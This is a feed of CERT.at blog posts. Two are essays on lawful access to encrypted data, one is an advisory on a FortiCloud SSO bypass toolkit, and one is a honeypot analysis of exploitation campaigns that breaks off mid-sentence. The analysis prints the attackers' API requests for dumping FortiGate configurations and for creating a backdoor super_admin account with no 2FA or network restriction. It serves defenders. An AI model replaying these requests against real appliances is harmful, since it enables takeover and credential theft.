href="https://en.wikipedia.org/wiki/Export_of_cryptography_from_the_United_States">export version of cryptography</a>&rdquo; to actively trying to backdoor algorithms (A <a href="https://en.wikipedia.org/wiki/NOBUS">NOBUS</a> in <a href="https://en.wikipedia.org/wiki/Dual_EC_DRBG">Dual_EC_DRBG</a> ).</p> <p>There is a wide consensus that this is the wrong approach for lawful access due to the following reasons:</p> <ul> <li>A NOBUS makes the whole ecosystem brittle, because if the secret backdoor leaks, then everything becomes instantly insecure.</li> <li>Weak crypto is really hard to get right as <ul> <li>With all the private investments in GPUs for AI there is now a lot of cracking power available to rent in the cloud</li> <li>With the advances in computing power, the right strength is a moving target, and choices need to be right for years to come</li> <li>Quantum computers add further unpredictability</li> <li>Historically, the &ldquo;export version&rdquo; of cryptography led to <a href="https://drownattack.com/#faq-factors">ugly problems</a></li> </ul> </li> </ul> <h2>#define GOODGUYS</h2> <p>Who should be able to use the technology behind the lawful access technology?</p> <p>At first glance, this is simple, but if you think a bit more about this, it becomes really tricky.</p> <h3>So, who are we talking about?</h3> <p>Will this be a tool that the normal police force will be able access? If yes, then perhaps we&rsquo;re giving them too much power &ndash; we don&rsquo;t want to fight petty crime with such a powerful tool.</p> <p>Or is this something that will be reserved for the special units which are tasked with fighting terrorism or organized crime? Think FBI, BfV, DSN and equivalents.</p> <p>But then you have the defensive military services: they are tasked to do counterespionage and similar security functions. They, too, will want to be able to use those surveillance tools to perform their supremely important mission.</p> <p>Next in line will be the intelligence agencies. If they hear that LE can have such spiffy toys to break open encrypted communication, then they will also knock on the door of the politicians. And why should they be denied? They also have a mission and why shouldn&rsquo;t they also get all the tools that could make their job so much easier?</p> <p>And God forbid, we find ourselves in a hot war &ndash; or just a short &ldquo;special military operation&rdquo;, then clearly all those departments for offensive cyber war inside our militaries will also want to use these interfaces.</p> <h3>Whose good guys?</h3> <p>The other dimension is geography: I might trust my own police, but surely not the police from some authoritarian regime.</p> <p>And the other players from the list above? Are we really ok with military intelligence services from other EU countries being able to remotely listen to encrypted communication in your country? The threshold for them in terms of legal safeguards / requirements is completely different than what applies to our national police.</p> <p>Going back in history, e.g. WW2 shows another complication: Alliances can shift. Former partners became adversaries overnight. Governments can be toppled and anything you might have trusted the old one with, might be used by the new one against you. The same can also apply to commercial entities from other countries.</p> <h3>How do we restrict the solution to the intended organizations?</h3> <p>Is it enough to just have legal and/or contractual restrictions in place to keep the wrong organizations from accessing the LE access mechanisms?</p> <p>I fear that this is not enough. Legal boundaries are susceptible to be swept aside by emergencies, political changes or simple corruption.</p> <p>We need technical means to restrict the reach of the LE access methods. For example, a method that needs physical access to a device to start a wiretap is much less likely to be abused from abroad.</p> <h3>Jurisdiction is really, really tricky</h3> <p>As I already wrote in the previous article, jurisdiction is a hard problem. Consider these examples:</p> <ul> <li>A judge from Country A issues a warrant that the communication of X should be wiretapped. LEA in A installs spyware on X&rsquo;s phone. X travels to a different country. Can the surveillance continue, or does it have to stop?</li> <li>A Citizen of country A uses an OTT service hosted in country B: Can LEA in country A force the operator in another country to help with the wiretap?</li> <li>A group of enthusiasts in Country A publish open-source software which enables encrypted communication: Can a law in country B regulate backdoors to be put in to enable wiretapping there?</li> <li>A company in Country A, where the legal mandate doesn&rsquo;t apply is selling products locally. A travelling citizen of Country B, where the law applies, buys a device and brings it home. Is this now illegal contraband?</li> <li>A device stolen in Country A is brought into Country B where LE is bribed to break it open.</li> <li>When installing a full-disk encryption solution in Country A, the key is escrowed to some entity in Country A. The device is then brought to Country B. Will the disk have to be re-encrypted and escrowed to the equivalent entity in Country B?</li> <li>How will devices even know where they are? How can the system be subverted by messing with the location detection algorithms? (VPNs, spoofed GPS, etc.)</li> <li>Who holds the master configuration data for all of this? This includes mapping coordinates to jurisdictions and then from jurisdiction to the keys / contact points of the proper entities. Any abuse of this position completely breaks open the whole scheme.</li> </ul> <p>We need to come up with list of all these permutations and define in advance where the access scheme MUST work, SHOULD work and MUST NOT work.</p> <h2>Implementation is hard</h2> <p>Pluck suitable key-sharding algorithms, key-escrow or zero-knowledge proofs from the academic literature and you can quite easily can come up with something that looks perfectly workable on a PowerPoint slide. Getting it to work in a lab might also be doable.</p> <p>The math of the algorithms might manageable, but getting an implemented system that is truly secure is next level difficult. Way too often the security of an encryption scheme failed not because of the algorithm, but because mistakes were made in the implementation. Typical ones are the selection of bad parameters, side-channels in timings, and insufficient entropy in the creation of nonces and initialization vectors.</p> <p>And then there is scaling the solution to billions of devices in the real world. &nbsp;</p> <p>How will it be deployed in global production pipelines and supply chains?</p> <p>How will it handle events like key-rollovers, security incidents or algorithm changes?</p> <p>What happens when institutions or borders change?</p> <h2>Expanding our Attack Surface while Maintaining Security</h2> <p>We&rsquo;re creating &ldquo;intended breaking points&rdquo; in device &amp; communication security to enable LE to access unencrypted data. This is expanding the attack surface of our IT systems.</p> <p>If &ndash; and this is a big if &ndash; vendors are asked to mediate LE access to devices and data (see the recent <a href="https://www.forbes.com/sites/thomasbrewster/2026/01/22/microsoft-gave-fbi-keys-to-unlock-bitlocker-encrypted-data/"> press reports on Microsoft disclosing BitLocker recovery-keys to LE</a>), then they become even more critical.</p> <p>To use an analogy: We are hoping that we&rsquo;re buying good bullet-proof vests from our vendors. Now we&rsquo;re asking them to modify their vests such that they will cease to block bullets fired by a police officer whenever the proper judicial warrant is waved into the direction of the vest.</p> <p>(Sometimes this reminds me of trying to secure weapons by adding fingerprint readers &ndash; an idea which hasn&rsquo;t really taken off, either.)</p> <p>Once those LE access paths are in place, our attack surface also includes:</p> <h3>The IT security of the vendors themselves.</h3> <p>If they hold the special key that can give LE access to a suspect&rsquo;s phone, then they also hold the key that can enable malicious actors to access the phones of politicians, CEOs, journalists and everyone else.</p> <p>Of course, we are already in many aspects dependent on the internal security of our vendors &ndash; as the increased focus on supply chain security in various policy documents shows.</p> <p>Still, this is a massive expansion. It paints an even bigger bullseye on their back. Getting into the systems that broker that access is huge jackpot for any threat actor.</p> <h3>Regulatory Environment of Vendors</h3> <p>Do you remember the scary stories regarding our dependency on vendors from foreign countries? How Kaspersky was ruled out of various contracts because the Russian state might force them to do something against the interests of their customers? The EU built the whole <a href="https://digital-strategy.ec.europa.eu/en/library/eu-toolbox-5g-security">5G Toolbox</a>&nbsp;on the premise that &ldquo;high-risk vendors&rdquo; from 3^rd countries supplying and operating networking equipment is a strategic vulnerability we cannot afford.</p> <p>What about Apple, Google, Microsoft, Samsung and others? How much can they be forced by the government in their home countries to do something that does not align with our interests? That question might have been hypothetical in past, but those calculations surely have changed over the last 13 months.</p> <p>In plain text: can foreign vendors be forced by their own national security apparatus to hand them the keys that the EU might legislate into existence?</p> <h3>Law Enforcement Agencies themselves</h3> <p>And then there is law enforcement themselves. They hold (directly or indirectly) the keys to access any organisation&rsquo;s network if this scheme ever goes live.</p> <p>Thus, the integrity of LEA is now part of everybody&rsquo;s attack surface. Yes, that&rsquo;s not really new, and in the physical world this always becomes relevant when a country slides from democracy into authoritarianism (just ask Minnesota). The tricky thing about the cyber side is that you can&rsquo;t start filming police officers misbehaving with your mobile phone. It would happen undetected.</p> <p>So, how much do we trust the security and integrity (IT, processes, people) of LEAs?</p> <h2>Liability</h2> <p>Trust is good, liability is better.</p> <p>This is something I hear a lot from CISOs and the NIS2 directive also went into the same direction: we need the people who decide to take certain risks to also assume the liability if something goes haywire.</p> <p>Are the entities involved in the whole scheme (regulatory authorities, key escrow providers, certification authorities, vendors implementing the solution) in any way willing to say: &ldquo;Yes, this is a good idea. And if it leads to damages caused by a security failure on my side, I will compensate the injured party.&rdquo;?</p> <p>If nobody is willing to do that, then perhaps we as a society didn&rsquo;t complete a full risk assessment.</p> <h2>Corollary: no master key</h2> <p>In order to keep the risk and thus the potential liability somewhere on the manageable side, we cannot have a system where a single breach anywhere can completely destroy the security properties of millions of devices.</p> <h2>Freedom to Innovate</h2> <p>The EU Commission recently published its <a href="https://digital-strategy.ec.europa.eu/en/library/digital-omnibus-regulation-proposal"> Digital Omnibus Regulation Proposal </a> to reduce the regulatory burden on EU-based technology companies. Whatever solution the expert group might come up with, it should not introduce a new regulatory hurdle for innovation made in the EU. If we don&rsquo;t manage the thread this needle, we could drive companies out of the EU. See <a href="https://www.heise.de/en/news/Surveillance-Proton-relocates-parts-of-its-infrastructure-from-Switzerland-10538664.html"> Proton&rsquo;s move away from Switzerland </a> for an example.</p> <p>We might need something like the size-caps in NIS2 or the &ldquo;<a href="https://digital-strategy.ec.europa.eu/en/policies/dsa-vlops">Very large online platforms</a>&rdquo; from the DSA &nbsp;to avoid targeting private operators and start-ups. A regulation that is appropriate for WhatsApp might not be sensible to the Nextcloud Talk instance of SME.</p> <h2>International Impact of regulations</h2> <p>If a democratic, well-run country can force global operators of OTT software to give them access to plaintext (in legally defined situations), how can they refuse to do the same for a country with a less stellar reputation, to say nothing of borderline authoritarian countries?</p> <p>I remember that a few years back the US government suffered from a split personality regarding the Tor network: The State Department was funding Tor to help dissidents in non-free countries to be able to securely communicate and reach the open Internet, while at the same time the FBI was railing against Tor, threatening to outlaw it, because criminals in the US were using it to hide criminal marketplaces.</p> <p>If we break open e.g., Signal for our LE, how can we expect it to save the lives of civil rights campaigners in difficult countries? This circles back to &ldquo;Who are the good guys?&rdquo;.</p> <h2>Effect on User Behaviour</h2> <p>The solution might change the behaviour of law-abiding citizens in a negative way. For example, if it utilizes targeted software updates to devices under surveillance, then we must expect that some less bright people will chose to just &ldquo;disable updates to be secure&rdquo;.</p> <p>Or, if the official version of a chat app includes the LE access &ldquo;feature&rdquo;, then people will start to side-load a version of the app which claims to be free of such &ldquo;features&rdquo;. This will be a bonanza for scams and will lead to an overall decline in cyber hygiene.</p> <p>Yes, this might not be rational, but if the Covid pandemic showed us anything, then this: A sizable part of our population is vulnerable to conspiracy theories that will drive their behaviour in an unsafe direction.</p> <p>Thus: whatever the solution is, the effect on the broader population is something we need to think about.</p> <h2>Will we eat our own dog food?</h2> <p>According to the <a href="https://digital-strategy.ec.europa.eu/en/library/cyber-blueprint-council-recommendation">EU Blueprint</a> (&ldquo;XII: Secure communication&ldquo;), we&rsquo;re supposed to develop a secure communication infrastructure. Will we include LE access in the design?</p> <p>According to <a href="https://www.heise.de/en/news/Signal-Messenger-Von-der-Leyen-has-preset-auto-delete-for-messages-10628236.html"> press reports </a> , Macron and von der Leyen used Signal to communicate. Would we be ok if LE could technically (getting a warrant might be hard in this case) start to wiretap that communication?</p> <p>Interesting from a legal point are protected communications: Journalists talking to sources, lawyers writing to their clients, doctors, priests.</p> <h2>Prevention of Abuse / Tracking the Usage</h2> <p>A fully functional system to access encrypted communication can be a huge advantage for LE investigations. It has the potential to become the go-to tool whenever LE hits a rough spot in a case. It can be like a cheat-code in a computer game, or the ring of power from the Tolkien books: Powerful, but dangerous. Reading the <a href="https://www.europarl.europa.eu/doceo/document/A-9-2023-0189_EN.html"> final report from the EU Parliament on the abuse of surveillance tools </a> is a sobering exercise.</p> <p>We thus need built-in speed-brakes and accountability tools. There needs to be an audit trail that cannot be manipulated.</p> <p>&nbsp;</p>Wed, 18 Feb 2026 19:04:18 GMT+0100https://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-general-considerationsCERT.at2026-02-18T19:04:18Zhttps://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-why-is-this-so-hard-to-do<p>This blogpost is part of a series of articles on this topic. I will thus not do a full intro here, for the background see</p> <ul> <li><a href="https://www.cert.at/de/blog/2017/8/blog-20170731130131-2076"> Ein paar Thesen zu aktuellen Gesetzesentw&uuml;rfen </a></li> <li><a href="https://www.cert.at/de/blog/2024/9/ein-paar-gedanken-zur-uberwachung-verschlusselter-nachrichten"> Ein paar Gedanken zur &bdquo;&Uuml;berwachung verschl&uuml;sselter Nachrichten&ldquo; </a></li> <li><a href="https://www.cert.at/en/blog/2025/2/chat-control-vs-file-sharing">Chat Control vs. File Sharing</a></li> <li><a href="https://www.cert.at/en/blog/2025/7/encryption-vs-lawful-interception-eu-policy-news"> Encryption vs. Lawful Interception: EU policy news </a></li> <li><a href="https://www.cert.at/en/blog/2025/10/hlg-paper-review"> A review of the &ldquo;Concluding report of the High-Level Group on access to data for effective law enforcement&rdquo; </a></li> </ul> <p>As I am now a member of the&nbsp;<a href="https://ec.europa.eu/transparency/expert-groups-register/screen/expert-groups/consult?lang=en&amp;groupID=4005"> EU expert group </a> which is tasked with coming up with a solution, I have been thinking a lot about this problem.</p> <p>An interesting train of thought turned out to be the question &ldquo;We managed to give Law Enforcement (LE) wiretapping powers in old-style phone networks, but not in modern, Internet-based communication services. Why?&rdquo;</p> <p>I came up with the following reasons:</p> <h2 class="block">Location / Jurisdiction</h2> <p>50 years ago, phone systems were real physical things. There were copper wires running to houses and they connected two pretty static entities: the telephony exchange and the phone jack in your home. Neither side moved. The cable didn&rsquo;t move either. Both sides were in the same jurisdiction.</p> <p>A court order to tap a phone line was thus simple. For example: a court in Vienna might have ordered the Austrian PTT to tap my phone line in Vienna and give the Viennese police access. Everything is local. Everything is in the same jurisdiction.</p> <p>Over the top (OTT) services like WhatsApp or Signal are completely different. As long as all parties have Internet connectivity, the technology of OTTs doesn&rsquo;t care about geography. More often than not, the OTT operator is in a different country than its users.</p> <h2>Basic internet design</h2> <p>In the old phone network design (and what ISDN tried to bring to the data world), the network provided the service that the end-users wanted. The switches knew that they were transporting audio calls. SMS as a communication tool is also directly a service by the network.</p> <p>The Internet turned this around: the network itself, the ISPs and the routers that are making up the network, are just very efficient and fast, but rather dumb packet forwarding systems. In theory, they need no knowledge at all about applications that run over the Internet (except for some valid performance optimizations and the <a href="https://en.wikipedia.org/wiki/IP_Multimedia_Subsystem">wet dreams of product managers</a> ).</p> <p>The mantra is now: <strong>Dumb core, intelligence at the edge.</strong></p> <p>All the innovation that was unleashed by the Internet comes from this basic idea: Innovations do not happen in the core &ndash; where upgrading all devices to support a new application would be slow, but on the side of the devices attached to the network. Tim Berners-Lee didn&rsquo;t have to get protocol support from routers to start the Web. The end-to-end principle, in combination with the DNS as a generic rendezvous-protocol was enough.</p> <p>The implication for wiretapping is: The ISP might be able to provide raw network data (pcap), but not decoded application-level information.</p> <p>Signal and others went a step further: they moved from &ldquo;end-to-end&rdquo; communication to &ldquo;end-to-end encrypted (E2EE)&rdquo; communication. What does that mean?</p> <p>Simple chat systems (e.g. IRC, ICQ, Mattermost, &hellip;) utilize a central node that receives messages and passes them on to the right client. Modern systems like Signal reduce the central node to the bare minimum of store&amp;forward of opaque data packets. <strong>All the security properties are in the client, not the central server.</strong> Adding a new device to your account? Another client needs to provide the cryptographic material; the central node does not have the ability.</p> <p>Forcing the central node to cooperate with LE thus will not get you any readable content.</p> <h2>Services vs. Products</h2> <p>I&rsquo;ve written about this before in <a href="https://www.cert.at/en/blog/2025/2/chat-control-vs-file-sharing">Chat Control vs. File Sharing</a> .</p> <p>Quick summary: A service gives the law a clear target for regulation and LE a clear contact point for enforcement. But sometimes, a communication network doesn&rsquo;t need that. Examples are e-mail, the fediverse or Matrix: you can run your own server and then interconnect with all the other servers. There no longer a single entity to target for wiretapping.</p> <p>Peer-to-peer networking would be the next obvious evolutionary step.</p> <h2>Open vs. Closed Source Software</h2> <p>Both server and client software can be either proprietary software or open source, which leads to interesting consequences for LE access:</p> <h3>Closed source:</h3> <ul> <li>The law can require certain features and can enforce their presence</li> <li>That is, if the company behind it is within the jurisdiction</li> <li>The EU just opened App-stores to break monopolies, making enforcement harder to do</li> </ul> <h3>Open source:</h3> <ul> <li>It&rsquo;s hard to hide a LEA key-escrow / interface in Open Source Software.</li> <li>It&rsquo;s trivial to recompile the code without those features (and someone in a different jurisdiction will for sure)</li> <li>So how do you enforce that people only run server/clients with the LE access feature? Monitor and penalise? (e.g. like driving a car without license plates)</li> <li>Will this lead a regime of government-licensed communication software?</li> </ul> <h2>Number of services</h2> <p>We&rsquo;re not in a world of very few communication enablers anymore, there are no more telephony monopolies. There might be 3 to 4 mobile operators per country, but the VoIP space already exploded years ago.</p> <p>But OTT is next level: Every OTT service can have customers round the globe, and every user can select any of the many global OTT operators.</p> <p>The hurdle to establish an OTT is very low, too: The availability of Open Source implementations means everybody can just download the code, install if on-premise or in the cloud and have a running communication service a few minutes later. Anyone who is running Nextcloud to host their own files needs just a few clicks to enable <a href="https://nextcloud.com/talk/">Nextcloud Talk</a> . You don&rsquo;t need to license spectrum; you don&rsquo;t need to get regulatory approval. Just do it.</p> <p>Communication (maybe not E2EE) is baked into many applications these days: most multi-user games have a chat feature, Web forums do it, social media platforms usually include one and even Spotify recently launched a chat feature.</p> <p>Basically: the number of services with which LE needs to deal with went up by multiple orders of magnitude.</p> <h2>The Laws of Mathematics beat the Laws of Humans</h2> <p>In the physical world, &ldquo;monopoly on violence&rdquo; by the state can break whatever barrier citizens can erect for their physical protection. There is no safe that the police can&rsquo;t open. There is no house where the police can&rsquo;t force their way in.</p> <p>This is not true for IT systems that use modern cryptography. The &ldquo;use overwhelming force&rdquo;-card cannot be played to break open an encrypted disk.</p> <h2>Blast Radius</h2> <p>Law enforcement agencies are full of humans. They make mistakes. They sometimes abuse their power. The technical systems that implement the lawful access are built by humans and will have their share of problems. (see also <a href="https://en.wikipedia.org/wiki/Salt_Typhoon">Salt Typhoon and US telecoms</a> )</p> <p>We need to think about the damage that will happen when (not if) the system fails.</p> <p>Old-style legal interceptions on phone networks are limited. If the police in some SE Asian country goes overboard in their wiretaps, that will not affect me here in Austria.</p> <p>But with OTTs? If said police can convince an OTT service (either centrally or via the clients) to forward cleartext to them, any mistakes on their side can affect my privacy.</p> <p>Or, if we build a special forensics interface into the secure elements of mobile phone, then the authentication/authorization built into that interface is now part of my own attack surface. Any key leak or vulnerability there instantly destroys the security of millions of devices worldwide.</p> <p>This is a bit like digital rights management (DRM) or content protection schemes. Remember DVD/CSS? It was a global standard that tried to ensure that only authorized devices could access the unencrypted content of the disks. But <a href="https://en.wikipedia.org/wiki/DeCSS">once someone recovered the key from a video-player</a> , the game was up: every disk word-wide could be decrypted by everybody.</p> <p>Thus: the maximum damage that can occur by one single mistake can be much larger now than in previous legal interception cases.</p> <h2>Conclusion</h2> <p class="block">There will not be a simple access solution that doesn't include significant downsides. The <a href="https://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-general-considerations">next article in this series</a> covers some of the things one has to consider when selecting an approach to lawful access to encrypted data.</p>Thu, 12 Feb 2026 17:48:27 GMT+0100https://www.cert.at/en/blog/2026/2/lawful-access-to-encrypted-data-why-is-this-so-hard-to-doCERT.at2026-02-12T17:48:27Zhttps://www.cert.at/en/blog/2026/1/threat-actors-use-forticloud-to-collect-ldap-connection-passwords<p class="block" style="text-align: justify;"><strong>CERT.at gained access to a toolkit of an unknown threat actor targeting FortiCloud SSO bypass in Fortinet appliances (CVE-2025-59718/CVE-2025-59719). We are releasing under TLP:CLEAR key findings about likely post-exploitation goals of the attacker.</strong></p> <p class="block" style="text-align: justify;">The obtained exploit works only for the original vulnerability [1] and is not effective against patched devices. It is, however, known that the flaw still exists and affects all SSO setups in Fortinet appliances [2]. The exploit behavior is consistent with our <a href="https://www.cert.at/en/blog/2026/1/look-at-forticloud-sso-bypass-exploitation">previous publication</a>.</p> <p class="block" style="text-align: justify;">The exploit is prepared to work against FortiGate instances, and in the toolkit, we have found two scripts for the post-exploitation analysis of the collected configuration dumps. The attacker:</p> <ul> <li class="block">looks for the LDAP/AD configuration settings,</li> <li class="block">is in the possession of the default FortiGate configuration encryption key.</li> </ul> <p class="block" style="text-align: justify;">The &ldquo;regular bind&ldquo; mode of LDAP/AD connection with FortiGate requires providing user credentials for the appliance [3], which FortiGate uses to establish a connection with the LDAP server. They are encrypted in the configuration, but by default, the encryption key is static and the same on all instances. We were able to confirm that the key included in the attacker toolkit works on the fresh FortiGate 7.6.5 VM.</p> <p class="block" style="text-align: justify;"><strong>Note:</strong> in our tests, we also confirmed that the normal local user passwords are NOT possible to retrieve back. Our understanding is that only the data that is necessary to become back (LDAP connection password for regular bind, private keys for certificates, etc.) could be decrypted.</p> <h1 class="block">Preventive recommendations</h1> <p class="block" style="text-align: justify;">We strongly recommend activating the &ldquo;private data encryption&rdquo; feature [4] in FortiGate devices, which replaces the default encryption key. This step is also officially recommended by Fortinet as a hardening measure [5]. The encryption key has to be the same in all instances in an HA cluster. Using a custom encryption key helps &ldquo;buying time&rdquo; for credential rotation after a configuration leak.</p> <p class="block" style="text-align: justify;">As always, CERT.at strongly recommends keeping management interfaces not accessible from the public internet. In the last blog post, the Fortinet PSIRT recommends setting a local-in policy to restrict access on the administrative interface [6].</p> <h2 class="block">References</h2> <p class="block">[1] <a href="https://fortiguard.fortinet.com/psirt/FG-IR-25-647">https://fortiguard.fortinet.com/psirt/FG-IR-25-647&nbsp;</a><br />[2] <a href="https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios">https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios</a><br />[3] <a href="https://docs.fortinet.com/document/fortigate/7.6.0/administration-guide/102264/configuring-an-ldap-server">https://docs.fortinet.com/document/fortigate/7.6.0/administration-guide/102264/configuring-an-ldap-server</a><br />[4] <a href="https://community.fortinet.com/t5/FortiGate/Technical-Tip-How-to-enable-private-data-encryption-feature-on-a/ta-p/339071">https://community.fortinet.com/t5/FortiGate/Technical-Tip-How-to-enable-private-data-encryption-feature-on-a/ta-p/339071<br /></a>[5] <a href="https://docs.fortinet.com/document/fortigate/7.6.0/best-practices/555436/hardening#SecurePassStorage">https://docs.fortinet.com/document/fortigate/7.6.0/best-practices/555436/hardening#SecurePassStorage</a><br />[6] <a href="https://docs.fortinet.com/document/fortigate/7.6.4/administration-guide/363127/local-in-policy">https://docs.fortinet.com/document/fortigate/7.6.4/administration-guide/363127/local-in-policy</a></p>Tue, 27 Jan 2026 17:16:28 GMT+0100https://www.cert.at/en/blog/2026/1/threat-actors-use-forticloud-to-collect-ldap-connection-passwordsCERT.at2026-01-27T17:16:28Zhttps://www.cert.at/en/blog/2026/1/look-at-forticloud-sso-bypass-exploitation<p class="block" style="text-align: justify;"><strong>In December last year, Fortinet disclosed [1] a vulnerability in SAML processing, which allowed full bypass of authentication to management interfaces with FortiCloud SSO enabled. According to new, still not officially confirmed reports, the vulnerability may not have been fully patched [10]. As affected devices are represented in my small high-interactive honeypots network, we have an opportunity to take a look at what the attackers do.</strong></p> <blockquote> <p class="block" style="text-align: justify;"><strong>Update:&nbsp;</strong>In the meantime, Fortinet has <a href="https://www.fortinet.com/blog/psirt-blogs/analysis-of-sso-abuse-on-fortios">officially confirmed</a> that the vulnerability was not fully patched, and also setups with other SAML SSO Identity Providers are vulnerable.&nbsp;</p> <p class="block" style="text-align: justify;"><strong>Update 2:&nbsp;</strong>Fortinet has clarified in updates to the previously linked publications and the&nbsp;<a href="https://www.fortiguard.com/psirt/FG-IR-26-060">new advisory</a>, that the newest wave of attacks was caused by a separated vulnerability in FortiCloud SSO integration. After investigation, they have also concluded that setups with other SSO Identity Providers are&nbsp;<strong>not&nbsp;</strong>vulnerable.</p> </blockquote> <p class="block" style="text-align: justify;">First reports about the exploitation surfaced on the 12th of December, when it was reported by two security companies [2, 5]. Specifically, ArcticWolf reported observation of attackers exporting configuration backups. A few days later, following a question about that from my colleague, I looked into my honeypot logs and was able to immediately spot some suspicious requests to &ldquo;/remote/saml/login&rdquo;, but the feature wasn&rsquo;t active on my devices. If you read the post from VulnCheck [3], you already know the spoiler &ndash; this was not the valid exploit.</p> <p class="block" style="text-align: justify;">I decided to give it a try, and on 19th December, I activated the FortiCloud SSO and waited. Meanwhile, I spotted multiple attempts to detect enabled FortiCloud SSO. They were similar to publicly available checks [6], but a different one than used later by VulnCheck: my logs showed special requests directly targeting the FortiCloud SSO feature, while VulnCheck looked for the presence of a FortiCloud SSO login button. Both ideas are good, and using crafted requests may have a goal of lowering hits on honeypots.</p> <p class="block" style="text-align: justify;">Based on the techniques and the post-exploitation activity, I grouped the attacks into a few campaigns, but it does not mean that they all are actually performed by different threat actors. In later attempts, actions originally performed separately started to be executed together (e.g., campaigns 1, 2 and 3 were later combined in one user session).</p> <h2 class="block" style="text-align: justify;">Campaign Zero</h2> <p class="block" style="text-align: justify;">The group &ldquo;zero&rdquo; consists of requests from known &ldquo;PoC&rdquo; scripts [7]. As already stated, they seem to be invalid &ndash; in the case of my machines, they are ignored and treated as any other non-existing URL (this does not necessarily mean returning HTTP 404 in case of FortiGate). The confirmation that this is not the right exploit came around 10 pm at 2025-12-19, when my FortiGate instance got hacked the first time using a significantly different request.</p> <p class="block" style="text-align: justify;">The Campaign Zero appears to be active until the end of December.</p> <h2 class="block" style="text-align: justify;">First Campaign</h2> <p class="block" style="text-align: justify;">It is important to note the first real exploit originated from an IP that previously checked if FortiCloud SSO was enabled. It used crafted requests, though a bit different from those available in GitHub [6]. The exploitation behavior seems similar to the behavior described by ArcticWolf, and the successful login bypass generates a log entry like:</p> <blockquote> <p class="block" style="text-align: justify;">eventtime=[REDACTED] tz="+0100" logid="xx" type="event" subtype="system" level="information" vd="root" logdesc="Admin login successful" sn="[REDACTED]" user="admin" ui="sso([REDACTED])" method="sso" srcip=[REDACTED] dstip=[REDACTED] action="login" status="success" reason="none" profile="super_admin" msg="<strong>Administrator admin logged in successfully from sso</strong>([REDACTED])"</p> </blockquote> <p class="block" style="text-align: justify;">Such a log is issued on every successful exploitation of the flaw. Following the login, the attacker performed exactly one request attempting to dump the configuration:</p> <blockquote> <p class="block" style="text-align: justify;">GET /api/v2/monitor/system/config/backup?destination=file&amp;file_format=fos&amp;scope=global</p> </blockquote> <p class="block" style="text-align: justify;">However, something did not go well: my FortiGate responded with HTTP 405 saying that the HTTP method is not allowed. This is a bit surprising because this path is widely used to download backups, and even the official library uses these kinds of GET requests [8, 9]. Unfortunately, the full REST API documentation is not publicly available. Some older docs and scripts suggest that the provided parameter values may not be correct, but I rather suspect targeting a specific FortiOS version, which is not present in my setup. The response to such a request does not contain the full configuration:</p> <blockquote> <p class="block" style="text-align: justify;">{"path":"system","name":"config","action":"backup","serial":"[REDACTED]","version":"v7.x.x","build":[REDACTED],"status":"error","http_status":405}</p> </blockquote> <p class="block" style="text-align: justify;">These attacks, in the pattern &ldquo;exploit-dump-fail,&rdquo; repeat regularly since activating the FortiCloud login. Additionally, these attacks did not target FortiGate exclusively, but also FortiWeb, where this API path does not exist at all. While it seems similar to Artic Wolf&rsquo;s report, failed backup attempts do not cause FortiOS to emit any log, and &ndash; as shown above &ndash; do not result in a configuration dump in my environment.</p> <p class="block" style="text-align: justify;">The first campaign is the most present in my logs, with multiple exploit attempts a day.</p> <h2 class="block" style="text-align: justify;">Second campaign</h2> <p class="block" style="text-align: justify;">The next day, I observed another exploitation of the FortiGate machine. This time the execution followed strictly the procedure from the Arctic Wolf post: after bypassing the login, a proper request was used to create a configuration dump. The request looks like (headers omitted):</p> <blockquote> <p class="block">POST /api/v2/monitor/system/config/backup<br />{"destination":"file","file_format":"fos","scope":"global"}</p> </blockquote> <p class="block">In response, a full configuration dump is returned. It also issues log entries like:</p> <blockquote> <p class="block">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="warning" vd="root" logdesc="Admin performed an action from GUI" user="admin" ui="GUI([REDACTED])" action="download" status="success" msg="<strong>System config file has been downloaded by user admin via GUI</strong>([REDACTED])"</p> </blockquote> <h2 class="block">Third campaign</h2> <p class="block" style="text-align: justify;">The next day, I registered another successful exploitation attempt; this time the access was used to perform a single configuration change request: a new user with administrative privileges was created. The request looks like:</p> <blockquote> <p class="block" style="text-align: justify;">POST /api/v2/cmdb/system/admin?vdom=root<br /><strong>{"name": "root_admin",</strong> "wildcard": "disable", "remote-auth": "disable", "remote-group": "", "peer-auth": "disable", "peer-group": "", "trusthost1": "0.0.0.0/0", "trusthost2": "0.0.0.0/0", "trusthost3": "0.0.0.0/0", "trusthost4": "0.0.0.0/0", "trusthost5": "0.0.0.0/0", "trusthost6": "0.0.0.0/0", "trusthost7": "0.0.0.0/0", "trusthost8": "0.0.0.0/0", "trusthost9": "0.0.0.0/0", "trusthost10": "0.0.0.0/0", "ip6-trusthost1": "::/0", "ip6-trusthost2": "::/0", "ip6-trusthost3": "::/0", "ip6-trusthost4": "::/0", "ip6-trusthost5": "::/0", "ip6-trusthost6": "::/0", "ip6-trusthost7": "::/0", "ip6-trusthost8": "::/0", "ip6-trusthost9": "::/0", "ip6-trusthost10": "::/0", "accprofile": {"q_origin_key": "super_admin"}, "allow-remove-admin-session": "enable", "comments": "", "vdom": [{"name": "root"}], "schedule": "", "accprofile-override": "disable", "radius-vdom-override": "disable", "password-expire": "0000-00-00 00:00:00", "force-password-change": "disable", "two-factor": "disable", "two-factor-authentication": "", "two-factor-notification": "", "fortitoken": "", "email-to": "", "sms-server": "fortiguard", "sms-custom-server": "", "sms-phone": "", "guest-auth": "disable", "guest-usergroups": [], "guest-lang": "", "password": "[REDACTED]"}</p> </blockquote> <p class="block" style="text-align: justify;">This gives the highest possible permissions, without requiring any MFA method or restricting network access. Additionally, the provided password was very easy to brute force. This action causes a log entry like:</p> <blockquote> <p class="block" style="text-align: justify;">eventtime=[REDACTED] tz="+0100" logid="[REDACTED]" type="event" subtype="system" level="information" vd="root" logdesc="Object attribute configured" user="admin" ui="GUI([REDACTED])" action="Add" cfgtid=[REDACTED] cfgpath="system.admin" cfgobj="root_admin" cfgattr="old-password[*]accprofile[super_admin]vdom[root]password[*]" msg="<strong>Add system.admin root_admin</strong>"</p> </blockquote> <p class="block" style="text-align: justify;">Creating new admin accounts is also consistent with the newest report from Arctic Wolf [12].</p> <h2 class="block" style="text-align: justify;">Fourth campaign</h2> <p class="block" style="text-align: justify;">Another day later, the authentication bypass was used to log in and collect 